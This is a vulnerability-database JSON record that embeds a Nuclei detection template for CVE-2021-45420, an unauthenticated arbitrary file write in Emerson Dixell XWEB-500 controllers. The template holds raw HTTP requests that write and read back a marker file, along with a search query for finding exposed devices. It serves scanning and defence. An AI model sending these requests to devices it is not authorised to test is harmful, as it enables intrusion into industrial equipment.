{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-45420/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-45420/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-45420/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-45420/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-45420/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-45420"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-45420"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-45420.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-45420\n\ninfo:\n  name: Emerson Dixell XWEB-500 - Arbitrary File Write\n  author: hackerarpan\n  severity: critical\n  description: |\n    Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files.\n  remediation: |\n    Apply firmware updates provided by Emerson Dixell or restrict network access to the device.\n  reference:\n    - https://www.exploit-db.com/exploits/50639\n    - https://www.swascan.com/emerson\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-45420\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-45420\n    cwe-id: CWE-200\n    epss-score: 0.1755\n    epss-percentile: 0.97032\n    cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: emerson\n    product: dixell_xweb-500\n    google-query: inurl:\"xweb500.cgi\"\n  tags: cve,cve2021,lfw,iot,dixell,xweb500,edb,fileupload,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/octet-stream\n\n        {{randstr}}.txt\n        dixell-xweb500-filewrite\n      - |\n        GET /logo/{{randstr}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_2, \"dixell-xweb500-filewrite\")'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210097b1a3f04c48e39e316c87c185073cf4f446f14b3e468b1ca103be26d5ba5a8a022100fc3d021612544f7a4e52ea21c8b3d5be2a38bae4cb35877db1256542574334ad:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-45420"
}